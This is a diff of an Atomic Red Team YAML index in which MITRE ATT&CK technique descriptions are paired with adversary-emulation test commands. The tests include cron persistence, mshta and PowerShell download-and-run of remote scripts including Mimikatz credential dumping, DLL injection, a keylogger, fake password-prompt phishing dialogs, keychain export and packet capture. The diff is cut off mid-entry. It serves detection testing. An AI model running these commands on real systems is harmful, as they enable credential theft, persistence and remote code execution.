object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_version: '1.0' type: attack-pattern - description: |- - On Linux and macOS systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike [Scheduled Task](https://attack.mitre.org/techniques/T1053) on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH). - - ### cron - - System-wide cron jobs are installed by modifying /etc/crontab file, /etc/cron.d/ directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files. (Citation: AppleDocs Scheduling Timed Jobs) This works on macOS and Linux systems. - - Those methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use job scheduling to execute programs at system startup or on a scheduled basis for Persistence, (Citation: Janicab) (Citation: Methods of Mac Malware Persistence) (Citation: Malware Persistence on OS X) (Citation: Avast Linux Trojan Cron Persistence) to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account. - - ### at + x_mitre_detection: |- + Monitor for calls to the SetWindowsHookEx and SetWinEventHook functions, which install a hook procedure. (Citation: Microsoft Hook Overview) (Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools (Citation: Volatility Detecting Hooks Sept 2012) (Citation: PreKageo Winhook Jul 2011) (Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures. (Citation: Zairon Hooking Dec 2006) (Citation: EyeofRa Detecting Hooking June 2017) - The at program is another means on POSIX-based systems, including macOS and Linux, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes. + Rootkits detectors (Citation: GMER Rootkits) can also be used to monitor for various flavors of hooking activity. - ### launchd + Verify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes (Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions. (Citation: StackExchange Hooks Jul 2012) (Citation: Adlice Software IAT Hooks Oct 2014) - Each launchd job is described by a different configuration property list (plist) file similar to [Launch Daemon](https://attack.mitre.org/techniques/T1160) or [Launch Agent](https://attack.mitre.org/techniques/T1159), except there is an additional key called StartCalendarInterval with a dictionary of time values. (Citation: AppleDocs Scheduling Timed Jobs) This only works on macOS and OS X. - x_mitre_permissions_required: - - Administrator - - User - - root - identifier: T1168 + Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2018-01-16T16:13:52.465Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + - kill_chain_name: mitre-attack + phase_name: credential-access + external_references: + - external_id: T1179 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1179 + - source_name: Microsoft Hook Overview + description: Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017. + url: https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx + - source_name: Endgame Process Injection July 2017 + description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: + A Technical Survey Of Common And Trending Process Injection Techniques. + Retrieved December 7, 2017.' + url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process + - source_name: Adlice Software IAT Hooks Oct 2014 + description: 'Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks. + Retrieved December 12, 2017.' + url: https://www.adlice.com/userland-rootkits-part-1-iat-hooks/ + - source_name: MWRInfoSecurity Dynamic Hooking 2015 + description: 'Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User + Mode. Retrieved December 20, 2017.' + url: https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/ + - source_name: HighTech Bridge Inline Hooking Sept 2011 + description: Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved + December 12, 2017. + url: https://www.exploit-db.com/docs/17802.pdf + - source_name: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017 + description: Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I. + Retrieved December 18, 2017. + - source_name: Symantec Windows Rootkits + description: Symantec. (n.d.). Windows Rootkit Overview. Retrieved December + 21, 2017. + url: https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf + - source_name: Volatility Detecting Hooks Sept 2012 + description: Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware + Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017. + url: https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html + - source_name: PreKageo Winhook Jul 2011 + description: Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017. + url: https://github.com/prekageo/winhook + - source_name: Jay GetHooks Sept 2011 + description: Satiro, J. (2011, September 14). GetHooks. Retrieved December + 12, 2017. + url: https://github.com/jay/gethooks + - source_name: Zairon Hooking Dec 2006 + description: Felici, M. (2006, December 6). Any application-defined hook procedure + on my machine?. Retrieved December 12, 2017. + url: https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/ + - source_name: EyeofRa Detecting Hooking June 2017 + description: 'Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense + against user-land. Retrieved December 12, 2017.' + url: https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/ + - source_name: GMER Rootkits + description: GMER. (n.d.). GMER. Retrieved December 12, 2017. + url: http://www.gmer.net/ + - source_name: Microsoft Process Snapshot + description: Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved + December 12, 2017. + url: https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx + - source_name: StackExchange Hooks Jul 2012 + description: Stack Exchange - Security. (2012, July 31). What are the methods + to find hooked functions and APIs?. Retrieved December 12, 2017. + url: https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis + modified: '2019-04-03T15:02:18.662Z' + identifier: T1179 atomic_tests: - - name: Cron - Replace crontab with referenced file - description: 'This test replaces the current user''s crontab file with the contents - of the referenced file. This technique was used by numerous IoT automated - exploitation attacks. - -' - supported_platforms: - - macos - - centos - - ubuntu - - linux - input_arguments: - command: - description: Command to execute - type: string - default: "/tmp/evil.sh" - tmp_cron: - description: Temporary reference file to hold evil cron schedule - type: path - default: "/tmp/persistevil" - executor: - name: bash - command: 'echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron} - -' - - name: Cron - Add script to cron folder - description: 'This test adds a script to a cron folder configured to execute - on a schedule. This technique was used by the threat actor Rocke during the - exploitation of Linux web servers. + - name: Hook PowerShell TLS Encrypt/Decrypt Messages + description: 'Hooks functions in PowerShell to read TLS Communications ' supported_platforms: - - macos - - centos - - ubuntu - - linux + - windows input_arguments: - command: - description: Command to execute - type: string - default: echo 'Hello from Atomic Red Team' > /tmp/atomic.log - cron_script_name: - description: Name of file to store in cron folder - type: string - default: persistevil + file_name: + description: Dll To Inject + type: Path + default: C:\AtomicRedTeam\atomics\T1179\bin\T1179x64.dll + server_name: + description: TLS Server To Test Get Request + type: Url + default: https://www.example.com executor: - name: bash - command: 'echo "#{command}" > /etc/cron.daily/#{cron_script_name} + name: powershell + elevation_required: true + command: | + mavinject $pid /INJECTRUNNING #{file_name} + curl #{server_name} + T1056: + technique: + x_mitre_data_sources: + - Windows Registry + - Kernel drivers + - Process monitoring + - API monitoring + x_mitre_permissions_required: + - Administrator + - SYSTEM + name: Input Capture + description: |- + Adversaries can use methods of capturing user input for obtaining credentials for [Valid Accounts](https://attack.mitre.org/techniques/T1078) and information Collection that include keylogging and user input field interception. -' - - name: Event Monitor Daemon Persistence - description: "This test adds persistence via a plist to execute via the macOS - Event Monitor Daemon. \n" - supported_platforms: - - macos - - centos - - ubuntu - - linux - executor: - name: manual - steps: | - 1. Place this file in /etc/emond.d/rules/atomicredteam.plist - - - - - - name - atomicredteam - enabled - - eventTypes - - startup - - actions - - - command - /usr/bin/say - user - root - arguments - - -v Tessa - I am a persistent startup item. - - type - RunCommand - - - - - + Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes, (Citation: Adventures of a Keystroke) but other methods exist to target information for specific purposes, such as performing a UAC prompt or wrapping the Windows default credential provider. (Citation: Wrightson 2012) - 2. Place an empty file in /private/var/db/emondClients/ + Keylogging is likely to be used to acquire credentials for new access opportunities when [Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to remain passive on a system for a period of time before an opportunity arises. - 3. sudo touch /private/var/db/emondClients/randomflag - T1170: - technique: - external_references: - - external_id: T1170 - source_name: mitre-attack - url: https://attack.mitre.org/techniques/T1170 - - url: https://en.wikipedia.org/wiki/HTML_Application - source_name: Wikipedia HTML Application - description: Wikipedia. (2017, October 14). HTML Application. Retrieved October - 27, 2017. - - url: https://msdn.microsoft.com/library/ms536471.aspx - source_name: MSDN HTML Applications - description: Microsoft. (n.d.). HTML Applications. Retrieved October 27, 2017. - - url: https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf - source_name: Cylance Dust Storm - description: Gross, J. (2016, February 23). Operation Dust Storm. Retrieved - September 19, 2017. - - url: https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/ - source_name: Red Canary HTA Abuse Part Deux - description: McCammon, K. (2015, August 14). Microsoft HTML Application (HTA) - Abuse, Part Deux. Retrieved October 27, 2017. - - url: https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html - source_name: FireEye Attacks Leveraging HTA - description: 'Berry, A., Galang, L., Jiang, G., Leathery, J., Mohandas, R. - (2017, April 11). CVE-2017-0199: In the Wild Attacks Leveraging HTA Handler. - Retrieved October 27, 2017.' - - source_name: Airbus Security Kovter Analysis - description: Dove, A. (2016, March 23). Fileless Malware – A Behavioural Analysis - Of Kovter Persistence. Retrieved December 5, 2017. - - url: https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html - source_name: FireEye FIN7 April 2017 - description: Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing - LNK. Retrieved April 24, 2017. - - source_name: GitHub SubTee The List - description: Smith, C. (2017, July 14). TheList.txt. Retrieved October 27, - 2017. + Adversaries may also install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service. (Citation: Volexity Virtual Private Keylogging) + id: attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2 + x_mitre_platforms: + - Linux + - macOS + - Windows object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: |- + Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include SetWindowsHook, GetKeyState, and GetAsyncKeyState. (Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes and detect driver installs, as well as looking for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes. + + Monitor the Registry for the addition of a Custom Credential Provider. (Citation: Wrightson 2012) Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in use by adversaries may help to catch the result of user input interception if new techniques are used. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_contributors: - - Ricardo Dias - - Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank + - John Lambert, Microsoft Threat Intelligence Center + created: '2017-05-31T21:30:48.323Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: collection + - kill_chain_name: mitre-attack + phase_name: credential-access + external_references: + - external_id: T1056 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1056 + - source_name: capec + external_id: CAPEC-568 + url: https://capec.mitre.org/data/definitions/568.html + - source_name: Adventures of a Keystroke + description: 'Tinaztepe, E. (n.d.). The Adventures of a Keystroke: An in-depth + look into keyloggers on Windows. Retrieved April 27, 2016.' + url: http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf + - source_name: Wrightson 2012 + description: Wrightson, T. (2012, January 2). CAPTURING WINDOWS 7 CREDENTIALS + AT LOGON USING CUSTOM CREDENTIAL PROVIDER. Retrieved November 12, 2014. + url: http://blog.leetsys.com/2012/01/02/capturing-windows-7-credentials-at-logon-using-custom-credential-provider/ + - source_name: Volexity Virtual Private Keylogging + description: 'Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco + Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.' + url: https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/ + modified: '2019-06-18T13:33:08.842Z' + identifier: T1056 + atomic_tests: + - name: Input Capture + description: | + Utilize PowerShell and external resource to capture keystrokes + [Payload](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1056/Get-Keystrokes.ps1) + Provided by [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-Keystrokes.ps1) + supported_platforms: + - windows + input_arguments: + filepath: + description: Name of the local file, include path. + type: Path + default: c:\key.log + executor: + name: powershell + command: ".\\Get-Keystrokes.ps1 -LogPath #{filepath}\n" + T1141: + technique: x_mitre_data_sources: - Process monitoring - Process command-line parameters - modified: '2019-04-29T14:46:20.521Z' - x_mitre_detection: |- - Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the binary being executed. + - User interface + - PowerShell logs + x_mitre_permissions_required: + - User + name: Input Prompt + description: |- + When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1088)). - Monitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1155)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware) and [PowerShell](https://attack.mitre.org/techniques/T1086)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015). + id: attack-pattern--91ce1ede-107f-4d8b-bf4c-735e8789c94b x_mitre_platforms: + - macOS - Windows - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - - phase_name: execution - kill_chain_name: mitre-attack - x_mitre_defense_bypassed: - - Application whitelisting - - Digital Certificate Validation - id: attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec - name: Mshta - created: '2018-01-16T16:13:52.465Z' - x_mitre_version: '1.1' - x_mitre_remote_support: false + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '2.0' type: attack-pattern - description: "Mshta.exe is a utility that executes Microsoft HTML Applications - (HTA). HTA files have the file extension .hta. (Citation: Wikipedia - HTML Application) HTAs are standalone applications that execute using the - same models and technologies of Internet Explorer, but outside of the browser. - (Citation: MSDN HTML Applications)\n\nAdversaries can use mshta.exe to proxy - execution of malicious .hta files and Javascript or VBScript through a trusted - Windows utility. There are several examples of different types of threats - leveraging mshta.exe during initial compromise and for execution of code (Citation: - Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: - FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) - (Citation: FireEye FIN7 April 2017) \n\nFiles may be executed by mshta.exe - through an inline script: mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))\n\nThey - may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta\n\nMshta.exe - can be used to bypass application whitelisting solutions that do not account - for its potential use. Since mshta.exe executes outside of the Internet Explorer's - security context, it also bypasses browser security settings. (Citation: GitHub - SubTee The List)" - x_mitre_permissions_required: - - User - identifier: T1170 + x_mitre_detection: |- + Monitor process execution for unusual programs as well as malicious instances of [Scripting](https://attack.mitre.org/techniques/T1064) that could be used to prompt users for credentials. + + Inspect and scrutinize input prompts for indicators of illegitimacy, such as non-traditional banners, text, timing, and/or sources. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Matthew Molyett, @s1air + created: '2017-12-14T16:46:06.044Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: credential-access + external_references: + - external_id: T1141 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1141 + - source_name: capec + external_id: CAPEC-569 + url: https://capec.mitre.org/data/definitions/569.html + - source_name: OSX Malware Exploits MacKeeper + description: Sergei Shevchenko. (2015, June 4). New Mac OS Malware Exploits + Mackeeper. Retrieved July 3, 2017. + url: https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html + - description: Foss, G. (2014, October 3). Do You Trust Your Computer?. Retrieved + December 17, 2018. + source_name: LogRhythm Do You Trust Oct 2014 + url: https://logrhythm.com/blog/do-you-trust-your-computer/ + - source_name: OSX Keydnap malware + description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware + is hungry for credentials. Retrieved July 3, 2017. + url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/ + - description: 'Nelson, M. (2015, January 21). Phishing for Credentials: If + you want it, just ask!. Retrieved December 17, 2018.' + source_name: Enigma Phishing for Credentials Jan 2015 + url: https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/ + modified: '2019-06-25T14:06:02.686Z' + identifier: T1141 atomic_tests: - - name: Mshta executes JavaScript Scheme Fetch Remote Payload With GetObject - description: 'Test execution of a remote script using mshta.exe + - name: AppleScript - Prompt User for Password + description: | + Prompt User for Password (Local Phishing) + Reference: http://fuzzynop.blogspot.com/2014/10/osascript-for-local-phishing.html + supported_platforms: + - macos + executor: + name: sh + command: 'osascript -e ''tell app "System Preferences" to activate'' -e ''tell + app "System Preferences" to activate'' -e ''tell app "System Preferences" + to display dialog "Software Update requires that you type your password + to apply changes." & return & return default answer "" with icon 1 with + hidden answer with title "Software Update"'' ' + - name: PowerShell - Prompt User for Password + description: | + Prompt User for Password (Local Phishing) as seen in Stitch RAT. + + Reference: https://github.com/nathanlopez/Stitch/blob/master/PyLib/askpass.py supported_platforms: - windows - input_arguments: - file_url: - description: location of the payload - type: Url - default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1170/mshta.sct executor: name: command_prompt elevation_required: false - command: 'mshta.exe javascript:a=(GetObject(''script:#{file_url}'')).Exec();close(); - -' - T1086: + command: powershell.exe -command {$cred = $host.UI.PromptForCredential('Windows + Security Update', '',[Environment]::UserName, [Environment]::UserDomainName); + echo $cred.GetNetworkCredential().Password;} + T1142: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1086 - source_name: mitre-attack - external_id: T1086 - - url: https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx - source_name: TechNet PowerShell - description: Microsoft. (n.d.). Windows PowerShell Scripting. Retrieved April - 28, 2016. - - url: https://github.com/mattifestation/PowerSploit - source_name: Powersploit - description: PowerSploit. (n.d.). Retrieved December 4, 2014. - - url: https://github.com/jaredhaight/PSAttack - source_name: Github PSAttack - description: Haight, J. (2016, April 21). PS>Attack. Retrieved June 1, 2016. - - url: http://www.sixdub.net/?p=367 - source_name: Sixdub PowerPick Jan 2016 - description: Warner, J.. (2015, January 6). Inexorable PowerShell – A Red - Teamer’s Tale of Overcoming Simple AppLocker Policies. Retrieved December - 8, 2018. - - url: https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/ - source_name: SilentBreak Offensive PS Dec 2015 - description: Christensen, L.. (2015, December 28). The Evolution of Offensive - PowerShell Invocation. Retrieved December 8, 2018. - - url: https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/ - source_name: Microsoft PSfromCsharp APR 2014 - description: Babinec, K. (2014, April 28). Executing PowerShell scripts from - C#. Retrieved April 22, 2019. - - url: http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf - source_name: Malware Archaeology PowerShell Cheat Sheet - description: Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING - CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016. - - url: https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html - source_name: FireEye PowerShell Logging 2016 - description: Dunwoody, M. (2016, February 11). GREATER VISIBILITY THROUGH - POWERSHELL LOGGING. Retrieved February 16, 2016. + x_mitre_data_sources: + - System calls + - Process monitoring + x_mitre_permissions_required: + - Administrator + name: Keychain + description: |- + Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in ~/Library/Keychains/,/Library/Keychains/, and /Network/Library/Keychains/. (Citation: Wikipedia keychain) The security command-line utility, which is built into macOS by default, provides a useful way to manage these credentials. + + To manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user’s logon credentials. + id: attack-pattern--9e09ddb2-1746-4448-9cad-7f8b41777d6d + x_mitre_platforms: + - macOS object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Praetorian + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: Unlocking the keychain and using passwords from it is a very + common process, so there is likely to be a lot of noise in any detection technique. + Monitoring of system calls to the keychain can help determine if there is + a suspicious process trying to access it. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-12-14T16:46:06.044Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: credential-access + external_references: + - external_id: T1142 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1142 + - source_name: Wikipedia keychain + description: Wikipedia. (n.d.). Keychain (software). Retrieved July 5, 2017. + url: https://en.wikipedia.org/wiki/Keychain_(software) + - source_name: External to DA, the OS X Way + description: Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to + DA, the OS X Way. Retrieved July 3, 2017. + url: http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way + modified: '2019-07-18T15:25:08.539Z' + identifier: T1142 + atomic_tests: + - name: Keychain + description: | + ### Keychain Files + + ~/Library/Keychains/ + + /Library/Keychains/ + + /Network/Library/Keychains/ + + [Security Reference](https://developer.apple.com/legacy/library/documentation/Darwin/Reference/ManPages/man1/security.1.html) + + [Keychain dumper](https://github.com/juuso/keychaindump) + supported_platforms: + - macos + executor: + name: sh + command: | + security -h + security find-certificate -a -p > allcerts.pem + security import /tmp/certs.pem -k + T1040: + technique: x_mitre_data_sources: - - PowerShell logs - - Loaded DLLs - - DLL monitoring - - Windows Registry - - File monitoring + - Network device logs + - Host network interface + - Netflow/Enclave netflow - Process monitoring - - Process command-line parameters - modified: '2019-04-25T03:09:01.808Z' - x_mitre_detection: |- - If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity. + x_mitre_permissions_required: + - Administrator + - SYSTEM + name: Network Sniffing + description: |- + Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data. - Monitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System.Management.Automation.dll (especially to unusual process names/locations). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015) + Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and Relay](https://attack.mitre.org/techniques/T1171), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary. - It is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features. (Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + Network sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (ex: IP addressing, hostnames, VLAN IDs) necessary for follow-on Lateral Movement and/or Defense Evasion activities. + id: attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529 x_mitre_platforms: + - Linux + - macOS - Windows - kill_chain_phases: - - phase_name: execution - kill_chain_name: mitre-attack - id: attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0 - name: PowerShell - created: '2017-05-31T21:31:06.512Z' - x_mitre_version: '1.1' - x_mitre_remote_support: true + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + x_mitre_system_requirements: + - Network interface access and packet capture driver type: attack-pattern - description: "PowerShell is a powerful interactive command-line interface and - scripting environment included in the Windows operating system. (Citation: - TechNet PowerShell) Adversaries can use PowerShell to perform a number of - actions, including discovery of information and execution of code. Examples - include the Start-Process cmdlet which can be used to run an executable and - the Invoke-Command cmdlet which runs a command locally or on a remote computer. - \n\nPowerShell may also be used to download and run executables from the Internet, - which can be executed from disk or in memory without touching disk.\n\nAdministrator - permissions are required to use PowerShell to connect to remote systems.\n\nA - number of PowerShell-based offensive testing tools are available, including - [Empire](https://attack.mitre.org/software/S0363), PowerSploit, (Citation: - Powersploit) and PSAttack. (Citation: Github PSAttack)\n\nPowerShell commands/scripts - can also be executed without directly invoking the powershell.exe binary through - interfaces to PowerShell's underlying System.Management.Automation assembly - exposed through the .NET framework and Windows Common Language Interface (CLI). - (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec - 2015) (Citation: Microsoft PSfromCsharp APR 2014)" - x_mitre_permissions_required: - - User - - Administrator - identifier: T1086 + x_mitre_detection: Detecting the events leading up to sniffing network traffic + may be the best method of detection. From the host level, an adversary would + likely need to perform a man-in-the-middle attack against other devices on + a wired network in order to capture traffic that was not to or from the current + compromised system. This change in the flow of information is detectable at + the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. + Detecting compromised network devices is a bit more challenging. Auditing + administrator logins, configuration changes, and device images is required + to detect malicious changes. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-05-31T21:30:41.399Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: credential-access + - kill_chain_name: mitre-attack + phase_name: discovery + external_references: + - external_id: T1040 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1040 + - source_name: capec + external_id: CAPEC-158 + url: https://capec.mitre.org/data/definitions/158.html + modified: '2019-07-18T16:42:21.548Z' + identifier: T1040 atomic_tests: - - name: Mimikatz - description: 'Download Mimikatz and dump credentials + - name: Packet Capture Linux + description: 'Perform a PCAP. Wireshark will be required for tshark. TCPdump + may already be installed. ' supported_platforms: - - windows + - linux input_arguments: - mimurl: - description: Mimikatz url - type: url - default: https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1 + interface: + description: Specify interface to perform PCAP on. + type: String + default: ens33 executor: - name: command_prompt + name: bash elevation_required: true - command: 'powershell.exe "IEX (New-Object Net.WebClient).DownloadString(''#{mimurl}''); - Invoke-Mimikatz -DumpCreds" - -' - - name: BloodHound - description: 'Download Bloodhound and run it + command: | + tcpdump -c 5 -nnni #{interface} + tshark -c 5 -i #{interface} + - name: Packet Capture MacOS + description: 'Perform a PCAP on MacOS. This will require Wireshark/tshark to + be installed. TCPdump may already be installed. ' supported_platforms: - - windows + - macos input_arguments: - bloodurl: - description: BloodHound URL - type: url - default: https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Ingestors/SharpHound.ps1 + interface: + description: Specify interface to perform PCAP on. + type: String + default: en0A executor: - name: command_prompt - elevation_required: false - command: 'powershell.exe "IEX (New-Object Net.WebClient).DownloadString(''#{bloodurl}''); - Invoke-BloodHound" - -' - - name: Obfuscation Tests + name: bash + elevation_required: true + command: | + tcpdump -c 5 -nnni #{interface} + tshark -c 5 -i #{interface} + - name: Packet Capture Windows Command Prompt description: | - Different obfuscated methods to test - Reaches out to bit.ly/L3g1t to stdout: "SUCCESSFULLY EXECUTED POWERSHELL CODE FROM REMOTE LOCATION" + Perform a packet capture using the windows command prompt. This will require a host that has Wireshark/Tshark + installed, along with WinPCAP. Windump will require the windump executable. supported_platforms: - windows + input_arguments: + interface: + description: Specify interface to perform PCAP on. + type: String + default: Ethernet0 executor: - 